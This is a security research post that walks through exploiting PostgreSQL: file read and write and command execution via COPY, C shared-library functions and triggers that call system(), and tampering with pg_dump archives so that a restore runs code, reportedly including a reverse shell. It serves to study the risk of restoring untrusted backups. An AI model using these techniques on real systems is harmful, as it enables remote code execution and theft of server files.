Exploiting PostgreSQL Restore
Causing mischief with PostgreSQL backups
Introduction
While exploiting Postgres database access has been the subject of many articles there is little if any information on how the same techniques can be used to exploit database restoration. This post will pull together the various exploitation techniques and show how they can be trivially added to Postgres archives, despite complete ignorance of the custom format.
As always do not trust user data and restore as a non-superuser.
All code used in this post can be found on github.
PostreSQL COPY
As detailed by Greenwolf-security, since Postgres version 9.3 the pSQL COPY command can be used for arbitrarily read/write/execute. Superuser access or specific user permissions are required.
Arbitrary file read
This will copy the contents of a file into the specified table. This example copies the contents of /etc/passwd
to the table dump
. Requires user permission pg_read_server_files
.
CREATE TABLE dump (t TEXT);
COPY dump FROM '/etc/passwd';
Arbitrary file write
Write table contents to the specified file. This example writes the contents of the table dump
to the file /tmp/dump.txt
. Requires user permission pg_write_server_files
.
CREATE TABLE dump (t TEXT);
COPY dump TO '/tmp/dump.txt';
Arbitrary command execution
Execute a shell command, writing output to the specified table. This example executes uname -a
writing the result to the table dump
. Requires user permission pg_execute_server_program
.
CREATE TABLE dump (t TEXT);
COPY dump FROM PROGRAM 'uname -a';
Writing binary files
These COPY
primitives can be combined to write binary files to the file system. Binary data can
be written to tables in the database using the base64 decoder. The COPY .. TO .. WITH BINARY
command will prepend a pSQL header that can later be stripped with the use of the tail command.
CREATE TABLE dump (t TEXT);
CREATE TABLE binaryData (b bytea);
\set b64 `base64 -w 0 function_poc`
INSERT INTO binaryData (b) values (decode(:'b64', 'base64'));
COPY binaryData TO '/tmp/psql.bin' WITH BINARY;
COPY dump FROM PROGRAM 'tail -c +26 /tmp/psql.bin > /tmp/poc';
PostgreSQL Large Objects
Postgres allows large objects to be
stored in the pg_catalog.pg_largeobject
table.
Arbitrary file write
The following method lifted from unix-ninja
shows how binary data can be inserted into the large object table and then written to the file system with
lo_export
.
SELECT lo_create(0);
$ export LOID='lo_create result'
$ split -b 2048 function_poc
$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql
SELECT lo_export(number, '/tmp/lo_poc');
PostgreSQL CREATE FUNCTION
Postgres allows shared libraries to be imported and used as functions with the CREATE FUNCTION command. These functions can then be used for command execution.
This section is based on pgexec by Dionach. Ensure that postgres is built and installed from source. The version must match that of the target database.
Use the following to compile each example.
$ export PATH="/usr/local/pgsql/bin:$PATH"
$ gcc -I$(pg_config --includedir-server) -shared -fPIC -o <output> <source>
Arbitrary command execution - functions
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pgfunc);
Datum
pgfunc(PG_FUNCTION_ARGS) {
system("touch /tmp/function_code_execution");
PG_RETURN_INT32(0);
}
Create the function poc
with the compiled pgfunc
library and execute with the SELECT
statement.
CREATE FUNCTION poc() RETURNS int as '/tmp/poc', 'pgfunc' LANGUAGE 'c' STRICT;
SELECT poc();
Arbitrary command execution - trigger functions
Trigger functions can be assigned to tables with the CREATE TRIGGER command. The function can be set to execute before or after various events.
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#include "commands/trigger.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
extern Datum pgtrigger(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgtrigger);
Datum
pgtrigger(PG_FUNCTION_ARGS) {
TriggerData *trigger_data = (TriggerData *) fcinfo->context;
system("touch /tmp/trigger_code_execution");
return PointerGetDatum(trigger_data->tg_trigtuple);
}
In this example the pgtrigger
function will be executed before every row insertion on the dump
table.
CREATE TABLE dump (t TEXT);
CREATE FUNCTION poc() RETURNS TRIGGER AS '/tmp/trigger_poc', 'pgtrigger' LANGUAGE 'c' STRICT;
CREATE TRIGGER poc BEFORE INSERT ON dump FOR EACH ROW EXECUTE FUNCTION poc();
INSERT INTO dump (t) VALUES ('random');
Exploiting PostgreSQL restore
Postgres archives can be created with pg_dump
and the -Fc
flag.
$ pg_dump -U postgres -Fc
As long as the length of lines in the archive do not change, statements can be changed to arbitrary pSQL. In each of the following POC I used the pSQL CREATE SEQUENCE statement and replaced with my own padded pSQL.
$ pg_restore -U postgres dumpfile | grep "public.seq" -B 1
-- Name: seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
SELECT pg_catalog.setval('public.seq', 10000000000000, true);
Becomes:
$ pg_restore -U postgres dumpfile | egrep "(public.seq|PROGRAM)" -B 1
-- Name: seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
COPY public.dump FROM PROGRAM 'touch /tmp/code_exec' ;
Each of the following examples have been modified to create a reverse shell on database restoration.
COPY command execution
The pgrestore_copy.py
script will replace the sequence pSQL statement with COPY .. FROM PROGRAM
. This will execute arbitrary commands on restore.
$ psql -U postgres -c 'CREATE DATABASE poc' &&
> python pgrestore_copy.py &&
> pg_restore -U postgres -d poc copy.dump
COPY binary execution
pgrestore_bin_func.py
showcases an alternative method that doesn’t require the use of COPY .. FROM PROGRAM
. It writes a shared library to a table as binary data, data which will be contained in the resulting archive. pSQL sequence statements are replaced by the COPY
and CREATE FUNCTION
commands to write the shared library to a file, load it, and execute the function on database restoration.
$ psql -U postgres -c 'CREATE DATABASE poc' &&
> python pgrestore_bin_func.py &&
> pg_restore -U postgres -d poc bin_func.dump
Large object binary execution
This example consists of two stages. The script pgrestore_lo_export.py
will create two dump files which must be restored one after the other.
1) Insert the shared library into the large object table and create lo_create.dump.
2) Replace the pSQL sequence statements with the commands lo_export
and CREATE FUNCTION
, and create lo_export.dump. The commands will write the shared library to a file, load it, and execute the function on database restoration.
$ psql -U postgres -c 'CREATE DATABASE poc' &&
> python pgrestore_lo_export.py
$ python pgrestore_lo_export.py <lo_id>
$ pg_restore -U postgres -d poc lo_create.dump
$ pg_restore -U postgres -d poc lo_export.dump